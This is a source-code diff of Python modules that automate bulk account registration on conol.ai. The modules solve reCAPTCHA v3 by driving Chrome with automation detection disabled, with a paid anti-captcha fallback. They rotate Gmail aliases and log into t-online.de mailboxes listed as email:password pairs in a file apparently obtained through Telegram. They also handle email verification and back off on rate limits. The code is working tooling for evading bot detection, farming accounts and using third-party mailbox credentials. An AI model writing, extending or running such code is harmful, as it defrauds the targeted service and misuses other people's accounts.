r = {'idx': i, 'gh_login': acc.get('login'), 'ok': False, 'err': 'EXC %s: %s' % (type(e).__name__, str(e)[:150])}
|
||||
if r.get('ok'): okc += 1
|
||||
if '429' in str(r.get('err', '')):
|
||||
fail429 += 1
|
||||
if fail429 >= 3:
|
||||
print('3x429 -> sleep 1800s', flush=True)
|
||||
time.sleep(1800); fail429 = 0
|
||||
line = json.dumps(r, ensure_ascii=False)
|
||||
print('[%d] %s' % (i, line), flush=True)
|
||||
open(OUT, 'a', encoding='utf-8').write(line + '\n')
|
||||
time.sleep(random.uniform(20, 35))
|
||||
print('DONE ok=%d/%d' % (okc, n), flush=True)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
275
providers/conol_captcha.py
Normal file
275
providers/conol_captcha.py
Normal file
@@ -0,0 +1,275 @@
|
||||
"""conol_captcha.py — reCAPTCHA v3 solver chain for conol.ai registration.
|
||||
|
||||
Providers, tried in order:
|
||||
1. chrome_cdp — FREE. Local Chrome with a warm profile renders conol.ai and
|
||||
executes window.grecaptcha.execute(siteKey, {action}) over CDP. A real
|
||||
browser + aged profile typically scores >= 0.3, which is all conol's
|
||||
minScore gate requires. No third-party service, no per-solve cost.
|
||||
2. anticaptcha — PAID fallback (existing behaviour), keys from config.json.
|
||||
|
||||
Public API (matches what conol_register.py needs):
|
||||
solve(action) -> Optional[str] # token or None
|
||||
warmup() -> None # optional: pre-launch Chrome + load page
|
||||
|
||||
Chrome path/profile/port come from config.json -> captcha section:
|
||||
{"chrome_path": "...", "cdp_port": 9228, "profile_dir": "...", "providers": ["chrome_cdp","anticaptcha"]}
|
||||
Defaults are sane; env overrides: CONOL_CAPTCHA_PROVIDERS (comma list), CONOL_CDP_PORT.
|
||||
|
||||
Stdlib + playwright only. The browser is launched ONCE and reused across solves
|
||||
(page kept on conol.ai); the token is minted per solve with the right action.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
_ROOT = Path(__file__).resolve().parent
|
||||
|
||||
def _cfg() -> dict:
|
||||
p = _ROOT / "config.json"
|
||||
try:
|
||||
return json.loads(p.read_text(encoding="utf-8")) if p.exists() else {}
|
||||
except Exception:
|
||||
return {}
|
||||
|
||||
_C = _cfg().get("captcha", {}) or {}
|
||||
CONOL = _cfg().get("conol", {}) or {}
|
||||
|
||||
SITE_KEY = os.environ.get("CONOL_SITE_KEY") or CONOL.get("site_key", "")
|
||||
BASE_URL = os.environ.get("CONOL_BASE_URL") or CONOL.get("base_url", "https://conol.ai")
|
||||
|
||||
DEFAULT_CHROME = r"C:\Program Files\Google\Chrome\Application\chrome.exe"
|
||||
CHROME_PATH = os.environ.get("CONOL_CHROME_PATH") or _C.get("chrome_path") or DEFAULT_CHROME
|
||||
CDP_PORT = int(os.environ.get("CONOL_CDP_PORT") or _C.get("cdp_port") or 9228)
|
||||
PROFILE_DIR = _C.get("profile_dir") or str(_ROOT / ".chrome_cdp_profile")
|
||||
|
||||
_env_providers = os.environ.get("CONOL_CAPTCHA_PROVIDERS")
|
||||
if _env_providers:
|
||||
PROVIDERS = [p.strip() for p in _env_providers.split(",") if p.strip()]
|
||||
else:
|
||||
PROVIDERS = list(_C.get("providers") or ["chrome_cdp", "anticaptcha"])
|
||||
|
||||
ANTICAPTCHA_KEYS = list(_C.get("anticaptcha_keys") or [])
|
||||
|
||||
# ---------------------------------------------------------------- chrome_cdp
|
||||
|
||||
_pw = None # playwright instance
|
||||
_browser = None # CDP browser handle
|
||||
_page = None # tab parked on conol.ai
|
||||
LAST_PROVIDER = None # which solver minted the last successful token
|
||||
|
||||
|
||||
def _log(msg: str) -> None:
|
||||
print("[captcha] %s" % msg, flush=True)
|
||||
|
||||
|
||||
def _cdp_alive() -> bool:
|
||||
try:
|
||||
with urllib.request.urlopen("http://127.0.0.1:%d/json/version" % CDP_PORT, timeout=3) as r:
|
||||
return r.status == 200
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def _launch_chrome() -> bool:
|
||||
"""Launch Chrome with remote debugging on CDP_PORT. Reuses a warm profile dir."""
|
||||
if _cdp_alive():
|
||||
return True
|
||||
Path(PROFILE_DIR).mkdir(parents=True, exist_ok=True)
|
||||
cmd = [
|
||||
CHROME_PATH,
|
||||
"--remote-debugging-port=%d" % CDP_PORT,
|
||||
"--user-data-dir=%s" % PROFILE_DIR,
|
||||
"--no-first-run",
|
||||
"--no-default-browser-check",
|
||||
"--disable-blink-features=AutomationControlled",
|
||||
"about:blank",
|
||||
]
|
||||
_cproxy = os.environ.get("CONOL_CHROME_PROXY")
|
||||
if _cproxy:
|
||||
cmd.insert(-1, "--proxy-server=%s" % _cproxy)
|
||||
try:
|
||||
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||
creationflags=getattr(subprocess, "DETACHED_PROCESS", 0) |
|
||||
getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0))
|
||||
except FileNotFoundError:
|
||||
_log("chrome not found at %s" % CHROME_PATH)
|
||||
return False
|
||||
for _ in range(30):
|
||||
time.sleep(1)
|
||||
if _cdp_alive():
|
||||
_log("chrome CDP up on :%d" % CDP_PORT)
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _connect():
|
||||
"""Connect playwright over CDP and park a page on BASE_URL. Lazy + reused."""
|
||||
global _pw, _browser, _page
|
||||
if _page is not None:
|
||||
try:
|
||||
_ = _page.url # cheap liveness probe
|
||||
return _page
|
||||
except Exception:
|
||||
_page = None
|
||||
if not _launch_chrome():
|
||||
return None
|
||||
try:
|
||||
from playwright.sync_api import sync_playwright
|
||||
except ImportError:
|
||||
_log("playwright not installed — chrome_cdp provider unavailable")
|
||||
return None
|
||||
try:
|
||||
if _pw is None:
|
||||
_pw = sync_playwright().start()
|
||||
if _browser is None:
|
||||
# timeout is mandatory here: connect_over_cdp without it can hang
|
||||
# forever when Chrome's WS endpoint accepts but never completes the
|
||||
# handshake (observed 12-min wedge in an unattended run).
|
||||
_browser = _pw.chromium.connect_over_cdp(
|
||||
"http://127.0.0.1:%d" % CDP_PORT, timeout=30000)
|
||||
ctx = _browser.contexts[0] if _browser.contexts else _browser.new_context()
|
||||
page = ctx.pages[0] if ctx.pages else ctx.new_page()
|
||||
page.set_default_timeout(30000)
|
||||
_log("tab url: %s" % (page.url or "?")[:80])
|
||||
if "conol.ai" not in (page.url or ""):
|
||||
page.goto(BASE_URL, wait_until="domcontentloaded", timeout=45000)
|
||||
# make sure grecaptcha is present (conol loads it lazily on auth pages)
|
||||
page.evaluate("""(siteKey) => new Promise((resolve, reject) => {
|
||||
if (window.grecaptcha) return resolve('already');
|
||||
const old = document.getElementById('eni-recaptcha');
|
||||
if (old) old.remove();
|
||||
const s = document.createElement('script');
|
||||
s.id = 'eni-recaptcha';
|
||||
s.src = 'https://www.recaptcha.net/recaptcha/api.js?render=' + encodeURIComponent(siteKey);
|
||||
s.onload = () => resolve('loaded');
|
||||
s.onerror = () => reject(new Error('recaptcha load failed'));
|
||||
document.head.appendChild(s);
|
||||
})""", SITE_KEY)
|
||||
page.wait_for_function("typeof window.grecaptcha !== 'undefined'", timeout=20000)
|
||||
_log("grecaptcha ready on %s" % (page.url or "?")[:60])
|
||||
_page = page
|
||||
return page
|
||||
except Exception as e:
|
||||
_log("connect failed: %s" % str(e)[:160])
|
||||
_page = None
|
||||
return None
|
||||
|
||||
|
||||
def solve_chrome_cdp(action: str) -> Optional[str]:
|
||||
"""Mint one reCAPTCHA v3 token in the live Chrome tab. Returns token or None."""
|
||||
page = _connect()
|
||||
if page is None:
|
||||
return None
|
||||
try:
|
||||
token = page.evaluate("""([siteKey, action]) => new Promise((resolve, reject) => {
|
||||
window.grecaptcha.ready(() => {
|
||||
window.grecaptcha.execute(siteKey, {action: action}).then(resolve).catch(reject);
|
||||
});
|
||||
})""", [SITE_KEY, action])
|
||||
if isinstance(token, str) and len(token) > 50:
|
||||
return token
|
||||
_log("chrome_cdp returned a short/odd token (%r)" % str(token)[:40])
|
||||
except Exception as e:
|
||||
_log("chrome_cdp solve error: %s" % str(e)[:160])
|
||||
return None
|
||||
|
||||
|
||||
def warmup() -> None:
|
||||
"""Pre-launch Chrome + load conol.ai so the first solve is fast."""
|
||||
_connect()
|
||||
|
||||
|
||||
# -------------------------------------------------------------- anticaptcha
|
||||
|
||||
def solve_anticaptcha(action: str) -> Optional[str]:
|
||||
"""Existing paid path: RecaptchaV3TaskProxyless via api.anti-captcha.com."""
|
||||
import requests
|
||||
for key in ANTICAPTCHA_KEYS:
|
||||
try:
|
||||
resp = requests.post("https://api.anti-captcha.com/createTask", json={
|
||||
"clientKey": key,
|
||||
"task": {
|
||||
"type": "RecaptchaV3TaskProxyless",
|
||||
"websiteURL": BASE_URL,
|
||||
"websiteKey": SITE_KEY,
|
||||
"pageAction": action,
|
||||
"minScore": 0.3,
|
||||
}
|
||||
}, timeout=30)
|
||||
data = resp.json()
|
||||
if data.get("errorId") != 0:
|
||||
_log("createTask fail (%s...): %s" % (key[:8], data.get("errorDescription", "?")))
|
||||
continue
|
||||
task_id = data["taskId"]
|
||||
deadline = time.time() + 90
|
||||
while time.time() < deadline:
|
||||
r = requests.post("https://api.anti-captcha.com/getTaskResult", json={
|
||||
"clientKey": key, "taskId": task_id
|
||||
}, timeout=15).json()
|
||||
if r.get("status") == "ready":
|
||||
token = r["solution"].get("gRecaptchaResponse", "")
|
||||
if token:
|
||||
return token
|
||||
elif r.get("errorId", 0) != 0:
|
||||
_log("getTaskResult error: %s" % r.get("errorDescription", ""))
|
||||
break
|
||||
time.sleep(3)
|
||||
except Exception as e:
|
||||
_log("anticaptcha exception (%s...): %s" % (key[:8], str(e)[:120]))
|
||||
return None
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- chain
|
||||
|
||||
_SOLVERS = {"chrome_cdp": solve_chrome_cdp, "anticaptcha": solve_anticaptcha}
|
||||
|
||||
|
||||
def solve(action: str, skip: "set|None" = None) -> Optional[str]:
|
||||
"""Try each configured provider in order; first non-empty token wins.
|
||||
|
||||
`skip` names providers to bypass this round — used to ESCALATE when the
|
||||
server rejects a token (CAPTCHA_VERIFICATION_FAILED): a freshly-created
|
||||
Chrome profile mints a low reCAPTCHA-v3 score, so we skip chrome_cdp and
|
||||
fall through to the paid AntiCaptcha path instead of burning attempts on
|
||||
tokens the server keeps rejecting. The provider that produced the last
|
||||
token is exposed via LAST_PROVIDER so the caller knows whom to skip.
|
||||
"""
|
||||
skip = skip or set()
|
||||
for name in PROVIDERS:
|
||||
if name in skip:
|
||||
continue
|
||||
fn = _SOLVERS.get(name)
|
||||
if fn is None:
|
||||
_log("unknown captcha provider %r — skipped" % name)
|
||||
continue
|
||||
tok = fn(action)
|
||||
if tok:
|
||||
global LAST_PROVIDER
|
||||
LAST_PROVIDER = name
|
||||
return tok
|
||||
_log("provider %s returned nothing for action=%s" % (name, action))
|
||||
# every non-skipped provider failed — retry ignoring the skip list once
|
||||
if skip:
|
||||
_log("all non-skipped providers exhausted; retrying full chain")
|
||||
return solve(action, skip=None)
|
||||
return None
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# self-test: python conol_captcha.py [action]
|
||||
act = sys.argv[1] if len(sys.argv) > 1 else "sign_up"
|
||||
t0 = time.time()
|
||||
tok = solve(act)
|
||||
if tok:
|
||||
print("OK action=%s len=%d time=%.1fs providers=%s token=%s...%s"
|
||||
% (act, len(tok), time.time() - t0, PROVIDERS, tok[:24], tok[-12:]))
|
||||
else:
|
||||
print("FAIL action=%s time=%.1fs providers=%s" % (act, time.time() - t0, PROVIDERS))
|
||||
248
providers/conol_emails.py
Normal file
248
providers/conol_emails.py
Normal file
@@ -0,0 +1,248 @@
|
||||
"""conol_emails.py — email provider abstraction for conol registration.
|
||||
|
||||
Providers:
|
||||
gmail — plus-alias on one mailbox (YOUR_EMAIL_LOCAL+conol<SUFFIX>@gmail.com), IMAP gmail
|
||||
tonline — dedicated @t-online.de mailboxes from working_mails.txt (email:password),
|
||||
IMAP secureimap.t-online.de:993 (login verified live 2026-10-03)
|
||||
|
||||
Config (config.json -> emails section, all optional):
|
||||
{"gmail": {"enabled": true},
|
||||
"tonline": {"enabled": true,
|
||||
"creds_file": "C:/Users/User/Downloads/Telegram Desktop/working_mails.txt",
|
||||
"state_file": "tonline_state.json",
|
||||
"imap_host": "secureimap.t-online.de"}}
|
||||
|
||||
Public API:
|
||||
providers() -> list[str] enabled provider ids
|
||||
next_address(tag, provider=None) -> dict|None {"address","provider", ...} — reserves it
|
||||
wait_for_verify_link(res, since_epoch, timeout, pattern) -> url|None
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import email as email_module
|
||||
import email.utils
|
||||
import imaplib
|
||||
import json
|
||||
import os
|
||||
import quopri
|
||||
import re
|
||||
import ssl
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
_ROOT = Path(__file__).resolve().parent
|
||||
|
||||
|
||||
def _cfg() -> dict:
|
||||
p = _ROOT / "config.json"
|
||||
try:
|
||||
return json.loads(p.read_text(encoding="utf-8")) if p.exists() else {}
|
||||
except Exception:
|
||||
return {}
|
||||
|
||||
|
||||
_E = _cfg().get("emails", {}) or {}
|
||||
_REG = _cfg().get("registration", {}) or {}
|
||||
|
||||
GMAIL_CFG = _E.get("gmail", {}) or {}
|
||||
TONLINE_CFG = _E.get("tonline", {}) or {}
|
||||
|
||||
# gmail identity comes from conol_secrets (config.json -> gmail section)
|
||||
try:
|
||||
from conol_secrets import GMAIL, GMAIL_APP
|
||||
except Exception: # pragma: no cover - standalone import guard
|
||||
GMAIL, GMAIL_APP = "", ""
|
||||
|
||||
GMAIL_PREFIX = _REG.get("email_prefix") or (GMAIL.split("@")[0] if GMAIL else "")
|
||||
GMAIL_DOMAIN = _REG.get("email_domain") or (GMAIL.split("@")[-1] if GMAIL else "gmail.com")
|
||||
|
||||
TONLINE_CREDS = TONLINE_CFG.get(
|
||||
"creds_file", r"C:\Users\User\Downloads\Telegram Desktop\working_mails.txt")
|
||||
TONLINE_STATE = _ROOT / TONLINE_CFG.get("state_file", "tonline_state.json")
|
||||
TONLINE_IMAP = TONLINE_CFG.get("imap_host", "secureimap.t-online.de")
|
||||
|
||||
_lock = threading.Lock()
|
||||
|
||||
|
||||
def providers() -> list:
|
||||
out = []
|
||||
if GMAIL and GMAIL_CFG.get("enabled", True):
|
||||
out.append("gmail")
|
||||
if TONLINE_CFG.get("enabled", True) and Path(TONLINE_CREDS).exists():
|
||||
out.append("tonline")
|
||||
return out
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ t-online
|
||||
|
||||
def _tonline_load_state() -> dict:
|
||||
try:
|
||||
return json.loads(TONLINE_STATE.read_text(encoding="utf-8"))
|
||||
except Exception:
|
||||
return {"offset": 0, "used": []}
|
||||
|
||||
|
||||
def _tonline_save_state(st: dict) -> None:
|
||||
tmp = TONLINE_STATE.with_suffix(".tmp")
|
||||
tmp.write_text(json.dumps(st), encoding="utf-8")
|
||||
tmp.replace(TONLINE_STATE)
|
||||
|
||||
|
||||
def _tonline_next() -> Optional[dict]:
|
||||
"""Reserve the next unused t-online mailbox. State file guards against reuse
|
||||
across processes/restarts; the in-file `used` list is the source of truth."""
|
||||
path = Path(TONLINE_CREDS)
|
||||
if not path.exists():
|
||||
return None
|
||||
with _lock:
|
||||
st = _tonline_load_state()
|
||||
used = set(st.get("used", []))
|
||||
offset = int(st.get("offset", 0))
|
||||
picked = None
|
||||
with open(path, encoding="utf-8", errors="replace") as f:
|
||||
for idx, line in enumerate(f):
|
||||
if idx < offset:
|
||||
continue
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#") or line.startswith("---"):
|
||||
continue
|
||||
if ":" not in line:
|
||||
continue
|
||||
mail, pwd = line.split(":", 1)
|
||||
mail = mail.strip()
|
||||
if not mail.endswith("@t-online.de") or not pwd.strip():
|
||||
continue
|
||||
if mail in used:
|
||||
continue
|
||||
picked = {"address": mail, "password": pwd.strip(),
|
||||
"provider": "tonline", "imap_host": TONLINE_IMAP}
|
||||
offset = idx + 1
|
||||
break
|
||||
if picked is None:
|
||||
return None
|
||||
used.add(picked["address"])
|
||||
st["used"] = sorted(used)[-5000:] # keep the tail; offset protects the head
|
||||
st["offset"] = offset
|
||||
_tonline_save_state(st)
|
||||
return picked
|
||||
|
||||
|
||||
# -------------------------------------------------------------------- gmail
|
||||
|
||||
def _gmail_next(tag: str) -> Optional[dict]:
|
||||
if not GMAIL or not GMAIL_APP:
|
||||
return None
|
||||
# GMAIL_PREFIX from config may already carry a "+conol" suffix
|
||||
# ("YOUR_EMAIL_LOCAL+conol"); tags are "conol<suffix>" — keep exactly one "+"
|
||||
# so addresses stay "YOUR_EMAIL_LOCAL+conol<suffix>@gmail.com" like the legacy pool.
|
||||
base = GMAIL_PREFIX.split("+")[0]
|
||||
addr = "%s+%s@%s" % (base, tag, GMAIL_DOMAIN)
|
||||
return {"address": addr, "password": None, "provider": "gmail",
|
||||
"imap_host": "imap.gmail.com", "imap_user": GMAIL, "imap_pass": GMAIL_APP}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- dispatcher
|
||||
|
||||
def next_address(tag: str, provider: str = None) -> Optional[dict]:
|
||||
"""Reserve an address for a new conol account.
|
||||
|
||||
provider: 'gmail' | 'tonline' | None (first enabled, gmail first).
|
||||
Returns dict with address/provider/imap creds, or None if exhausted/disabled.
|
||||
"""
|
||||
order = [provider] if provider else providers()
|
||||
for p in order:
|
||||
if p == "gmail":
|
||||
r = _gmail_next(tag)
|
||||
elif p == "tonline":
|
||||
r = _tonline_next()
|
||||
else:
|
||||
continue
|
||||
if r:
|
||||
return r
|
||||
return None
|
||||
|
||||
|
||||
def mark_used(res: dict) -> None:
|
||||
"""Confirm a reserved address is permanently consumed.
|
||||
|
||||
t-online addresses are already written to the state file at reserve time, so
|
||||
this only matters for bookkeeping (e.g. an address that turned out to be
|
||||
already registered on conol must never be handed out again — it is not,
|
||||
because reserve() persisted it; this call is an explicit no-op hook)."""
|
||||
pass
|
||||
|
||||
|
||||
def wait_for_verify_link(res: dict, since_epoch: float, timeout: int = 180,
|
||||
url_re: str = None) -> Optional[str]:
|
||||
"""Poll the provider mailbox for the conol verification link.
|
||||
|
||||
res: the dict from next_address(). gmail matches on the alias in To:;
|
||||
tonline matches on any conol mail (the box is dedicated).
|
||||
"""
|
||||
pattern = re.compile(url_re or (
|
||||
r"https://conol\.ai/api/auth/verify-email\?token=([^&\s\"'<>]+)"
|
||||
r"(?:&|&)callbackURL=([^\s\"'<>]+)"), re.IGNORECASE)
|
||||
host = res.get("imap_host", "imap.gmail.com")
|
||||
user = res.get("imap_user") or res["address"]
|
||||
pwd = res.get("imap_pass") or res.get("password") or ""
|
||||
target = res["address"].lower()
|
||||
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
mail = None
|
||||
try:
|
||||
mail = imaplib.IMAP4_SSL(host, 993,
|
||||
ssl_context=ssl.create_default_context(), timeout=20)
|
||||
mail.login(user, pwd)
|
||||
mail.select("INBOX")
|
||||
status, data = mail.search(None, 'FROM "Conol"')
|
||||
if status != "OK" or not data or not data[0]:
|
||||
time.sleep(4)
|
||||
continue
|
||||
for message_id in reversed(data[0].split()[-30:]):
|
||||
status, rows = mail.fetch(message_id, "(RFC822)")
|
||||
if status != "OK" or not rows or not isinstance(rows[0], tuple):
|
||||
continue
|
||||
raw = rows[0][1]
|
||||
message = email_module.message_from_bytes(raw)
|
||||
if res.get("provider") == "gmail":
|
||||
to_header = str(message.get("To", ""))
|
||||
if target not in to_header.lower():
|
||||
continue
|
||||
message_ts = email_module.utils.mktime_tz(
|
||||
email_module.utils.parsedate_tz(str(message.get("Date", ""))))
|
||||
if message_ts and message_ts < since_epoch - 30:
|
||||
continue
|
||||
decoded = quopri.decodestring(raw).decode("utf-8", errors="replace")
|
||||
m = pattern.search(decoded)
|
||||
if m:
|
||||
token = m.group(1).replace("=\r\n", "").replace("=\n", "")
|
||||
callback = m.group(2).replace("=\r\n", "").replace("=\n", "")
|
||||
return ("https://conol.ai/api/auth/verify-email?token=%s&callbackURL=%s"
|
||||
% (token, callback))
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
if mail is not None:
|
||||
try:
|
||||
mail.logout()
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(4)
|
||||
return None
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
print("providers:", providers())
|
||||
cmd = sys.argv[1] if len(sys.argv) > 1 else "peek"
|
||||
if cmd == "peek":
|
||||
for p in providers():
|
||||
r = next_address("peek%d" % int(time.time()), provider=p)
|
||||
print(p, "->", (r or {}).get("address"))
|
||||
elif cmd == "reserve":
|
||||
p = sys.argv[2] if len(sys.argv) > 2 else None
|
||||
r = next_address("t%d" % int(time.time() * 1000) % 10**8, provider=p)
|
||||
print(json.dumps({k: v for k, v in (r or {}).items() if "pass" not in k.lower()}))
|
||||
759
providers/conol_register.py
Normal file
759
providers/conol_register.py
Normal file
@@ -0,0 +1,759 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
conol_register.py — Pilot registration of new conol.ai accounts (max 5).
|
||||
|
||||
Strategy: HTTP-only registration (AntiCaptcha reCAPTCHA v3 + IMAP verification).
|
||||
No browser needed. Creates N new accounts via plus-alias.
|
||||
|
||||
Usage:
|
||||
python conol_register.py --count 5 # pilot 5 accounts (default)
|
||||
python conol_register.py --count 1 # single account
|
||||
"""
|
||||
|
||||
import atexit
|
||||
import subprocess
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
import logging
|
||||
import re
|
||||
import imaplib
|
||||
import email as email_module
|
||||
import quopri
|
||||
import ssl
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
from urllib.parse import unquote
|
||||
|
||||
import requests
|
||||
|
||||
# Log lines carry ✅/❌. When stdout is a file rather than a tty the encoding comes from
|
||||
# the locale (cp1251/cp866 on this box) and the first emoji raises UnicodeEncodeError,
|
||||
# killing an unattended run. Setting PYTHONIOENCODING from inside the process is too late
|
||||
# — the interpreter reads it at startup — so reconfigure the streams directly. The
|
||||
# supervisor also passes -X utf8 and PYTHONIOENCODING; this covers every other launcher.
|
||||
for _stream in (sys.stdout, sys.stderr):
|
||||
try:
|
||||
_stream.reconfigure(encoding="utf-8", errors="replace")
|
||||
except (AttributeError, ValueError):
|
||||
pass
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
log = logging.getLogger("conol_register")
|
||||
|
||||
# ─── constants ──────────────────────────────────────────────────────────────
|
||||
BASE_DIR = Path(__file__).resolve().parent
|
||||
POOL_FILE = BASE_DIR / "conol_accounts_pool.jsonl"
|
||||
PID_FILE = BASE_DIR / "conol_register_run.pid"
|
||||
|
||||
# credentials load from config.json / env — see conol_secrets.py
|
||||
from conol_secrets import ( # noqa: E402
|
||||
GMAIL, GMAIL_APP, PASSWORD, SITE_KEY, BASE_URL, ANTICAPTCHA_KEYS,
|
||||
)
|
||||
import conol_captcha # noqa: E402 free chrome_cdp -> paid anticaptcha chain
|
||||
import conol_emails # noqa: E402 gmail plus-alias + t-online.de dedicated boxes
|
||||
|
||||
|
||||
def solve_captcha(action: str, skip: "set|None" = None) -> Optional[str]:
|
||||
"""Solve reCAPTCHA v3 through the provider chain (free Chrome CDP first,
|
||||
paid AntiCaptcha fallback). `skip` escalates past a provider whose token
|
||||
the server just rejected. See conol_captcha.py for the order/config."""
|
||||
return conol_captcha.solve(action, skip=skip)
|
||||
|
||||
|
||||
def new_client() -> "requests.Session":
|
||||
"""One HTTP session for the WHOLE registration chain.
|
||||
|
||||
better-auth sets a session cookie on POST /api/invites/register and
|
||||
/api/auth/send-verification-email only succeeds when that cookie is
|
||||
presented. The previous code used a fresh `requests.post` per step, so the
|
||||
cookie was dropped and 3/5 pilot accounts died with
|
||||
"send verification email failed" even though the account had been created.
|
||||
"""
|
||||
session = requests.Session()
|
||||
session.headers.update({
|
||||
"Accept": "application/json",
|
||||
"User-Agent": ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
|
||||
"(KHTML, like Gecko) Chrome/140.0 Safari/537.36"),
|
||||
"Origin": BASE_URL,
|
||||
})
|
||||
return session
|
||||
|
||||
|
||||
def _log_failure(step: str, resp) -> None:
|
||||
"""Never swallow a non-2xx: the body is the only diagnostic conol gives us."""
|
||||
log.warning("%s failed: HTTP %s %s", step, resp.status_code, resp.text[:220].replace("\n", " "))
|
||||
|
||||
|
||||
def sign_in(email: str, captcha_token: str, client=None) -> Optional[dict]:
|
||||
"""POST /api/auth/sign-in/email. Returns session data dict or None."""
|
||||
http = client or requests
|
||||
resp = http.post(f"{BASE_URL}/api/auth/sign-in/email", json={
|
||||
"email": email, "password": PASSWORD,
|
||||
"callbackURL": "/home", "rememberMe": True,
|
||||
}, headers={
|
||||
"x-captcha-response": captcha_token,
|
||||
"Content-Type": "application/json",
|
||||
"Referer": f"{BASE_URL}/login",
|
||||
}, timeout=20)
|
||||
|
||||
if resp.status_code != 200:
|
||||
_log_failure(f"sign-in {email[:34]}", resp)
|
||||
return None
|
||||
|
||||
data = resp.json()
|
||||
# The usable credential is the COOKIE value: "<token>.<base64 signature>" (~85
|
||||
# chars). The response body's "token" is the bare 32-char session id and
|
||||
# get-session rejects it, so it must never be treated as a fallback.
|
||||
# With a shared requests.Session the cookie often lands in the session jar
|
||||
# rather than resp.cookies, so check both.
|
||||
session_token = resp.cookies.get("__Secure-better-auth.session_token")
|
||||
if not session_token:
|
||||
jar = getattr(http, "cookies", None)
|
||||
if jar is not None:
|
||||
session_token = jar.get("__Secure-better-auth.session_token")
|
||||
if not session_token:
|
||||
body_token = data.get("token") or ""
|
||||
log.warning("sign-in 200 for %s but no session cookie (body token %d chars is "
|
||||
"unusable for get-session)", email[:34], len(body_token))
|
||||
return None
|
||||
|
||||
return {"session_token": session_token, "user": data.get("user", {})}
|
||||
|
||||
|
||||
def register_account(email: str, name: str, captcha_token: str, client=None) -> Optional[dict]:
|
||||
"""POST /api/invites/register. Returns response dict or {"error": ...}."""
|
||||
http = client or requests
|
||||
resp = http.post(f"{BASE_URL}/api/invites/register", json={
|
||||
"token": None, "email": email, "password": PASSWORD,
|
||||
"name": name, "referrer_share_id": None,
|
||||
}, headers={
|
||||
"x-captcha-response": captcha_token,
|
||||
"Content-Type": "application/json",
|
||||
"Referer": f"{BASE_URL}/sign-up",
|
||||
}, timeout=20)
|
||||
|
||||
if resp.status_code in (200, 201):
|
||||
try:
|
||||
return resp.json()
|
||||
except ValueError:
|
||||
return {"ok": True, "raw": resp.text[:200]}
|
||||
_log_failure(f"register {email[:34]}", resp)
|
||||
try:
|
||||
err = resp.json()
|
||||
# Include the machine code so callers can classify a CAPTCHA_VERIFICATION_FAILED
|
||||
# rejection (retryable with a fresh token) from a hard validation error. The
|
||||
# human message alone ("Human verification failed") does not contain "CAPTCHA".
|
||||
msg = err.get("error") or resp.text[:200]
|
||||
code = err.get("code") or ""
|
||||
return {"error": f"{msg} [{code}]" if code else msg}
|
||||
except ValueError:
|
||||
return {"error": f"HTTP {resp.status_code}: {resp.text[:200]}"}
|
||||
|
||||
|
||||
def send_verification_email(email: str, captcha_token: str, client=None) -> bool:
|
||||
"""POST /api/auth/send-verification-email. Requires the register session cookie."""
|
||||
http = client or requests
|
||||
resp = http.post(f"{BASE_URL}/api/auth/send-verification-email", json={
|
||||
"email": email, "callbackURL": "/home",
|
||||
}, headers={
|
||||
"x-captcha-response": captcha_token,
|
||||
"Content-Type": "application/json",
|
||||
"Referer": f"{BASE_URL}/sign-up",
|
||||
}, timeout=20)
|
||||
|
||||
if resp.status_code in (200, 201):
|
||||
return True
|
||||
_log_failure(f"send-verification-email {email[:34]}", resp)
|
||||
return False
|
||||
|
||||
|
||||
def wait_for_verify_link(target_alias: str, since_epoch: float, timeout: int = 180) -> Optional[str]:
|
||||
"""Poll Gmail IMAP for verification link. Returns URL or None."""
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
mail = None
|
||||
try:
|
||||
mail = imaplib.IMAP4_SSL("imap.gmail.com", 993,
|
||||
ssl_context=ssl.create_default_context(), timeout=20)
|
||||
mail.login(GMAIL, GMAIL_APP)
|
||||
mail.select("INBOX")
|
||||
status, data = mail.search(None, 'FROM "Conol"')
|
||||
if status != "OK" or not data or not data[0]:
|
||||
time.sleep(4)
|
||||
continue
|
||||
for message_id in reversed(data[0].split()[-30:]):
|
||||
status, rows = mail.fetch(message_id, "(RFC822)")
|
||||
if status != "OK" or not rows or not isinstance(rows[0], tuple):
|
||||
continue
|
||||
raw = rows[0][1]
|
||||
message = email_module.message_from_bytes(raw)
|
||||
to_header = str(message.get("To", ""))
|
||||
if target_alias.lower() not in to_header.lower():
|
||||
continue
|
||||
message_ts = email_module.utils.mktime_tz(
|
||||
email_module.utils.parsedate_tz(str(message.get("Date", ""))))
|
||||
if message_ts and message_ts < since_epoch - 30:
|
||||
continue
|
||||
decoded = quopri.decodestring(raw).decode("utf-8", errors="replace")
|
||||
match = re.search(
|
||||
r"https://conol\.ai/api/auth/verify-email\?token=([^&\s\"'<>]+)(?:&|&)callbackURL=([^\s\"'<>]+)",
|
||||
decoded, flags=re.IGNORECASE)
|
||||
if match:
|
||||
token = match.group(1).replace("=\r\n", "").replace("=\n", "")
|
||||
